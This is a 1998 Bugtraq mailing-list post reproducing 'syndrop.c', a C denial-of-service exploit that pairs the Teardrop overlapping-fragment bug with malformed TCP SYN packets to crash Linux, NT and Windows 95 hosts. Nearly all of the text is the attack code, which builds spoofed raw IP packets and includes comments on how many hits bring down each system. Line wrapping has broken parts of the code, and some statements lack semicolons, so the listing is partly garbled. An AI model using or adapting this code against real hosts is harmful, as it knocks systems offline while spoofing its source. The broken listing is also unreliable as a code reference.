DOS: Teardrop mixed with a SYN - syndrop.c
X-RDate: Fri, 03 Apr 1998 08:26:17 +0600 (ESD)
Date: Thu, 2 Apr 1998 15:46:36 GMT
From: bluefish@swipnet.se
To: BUGTRAQ@NETSPACE.ORG
Subject: DOS: Teardrop mixed with a SYN - syndrop.c
Found this in the alt.2600 ng...
/* syndrop.c
* by PineKoan
* stomp on M$ SYN sequence bug and the teardrop frag fuckup at same time!
* tcp instead of udp
*
* based on: Newtear.c
* which was: Copyright (c) 1997 route|daemon9 <route@infonexus.com>
11.3.97
* Linux/NT/95 Overlap frag bug exploit
* which was: Based off of: flip.c by klepto
*
* Compiles on: Linux, *BSD*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0
*/
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define TCPH sizeof(struct tcphdr) /* TCP header */
#define PADDING 0x14 /* datagram frame padding for first packet */ /* JD
Chan
ge pad size to 20 decimal. */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x11 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
* syndrop: gotta hit it at least 8 times.
overflowing
* some static sized buffer. fools.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short, u_long, u_long);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
u_long s_start = 0, s_end = 0;
struct in_addr addr;
fprintf(stderr, "syndrop by PineKoan\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one,
sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip =
name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:S:E:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
case 'S': /* SYN sequence start */
s_start = atoi(optarg);
break;
case 'E': /* SYN sequence end */
s_end = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt, s_start,
s_end);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an
implementation
* independent way of assembling network packets that does not rely on any
of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt, u_long seq1, u_long seq2)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_TCP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* TCP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* TCP destination port */
p_ptr += 2;
*((u_long *)p_ptr) = seq1; /* TCP sequence # */
p_ptr += 4;
*((u_long *)p_ptr) = 0; /* ack */
p_ptr += 4;
*((u_short *)p_ptr) = htons(8 + PADDING*2); /* TCP data offset */ /*
Incre
ases TCP total length to 48 bytes Which is too big! */
p_ptr += 2;
*((u_char *)p_ptr) = TH_SYN; /* flags: mark SYN */
p_ptr += 1;
*((u_short *)p_ptr) = seq2-seq1; /* window */
*((u_short *)p_ptr) = 0x44 /* checksum : this is magic value for
NT
, W95. dissasemble M$ C++ to see why, if you have time */
*((u_short *)p_ptr) = 0; /* urgent */
if (sendto(sock, packet, IPH + TCPH + PADDING, 0, (struct sockaddr
*)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header
*/
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
p_ptr = &packet[24]; /* hop in to the sequence again... */
*((u_long *)p_ptr) = seq2; /* TCP sequence # */
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr,
host_ent->h_length)
;
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]
",
name);
fprintf(stderr,
"[ -S sequence_start] [ -E sequence_end ]\n",
exit(0);
}
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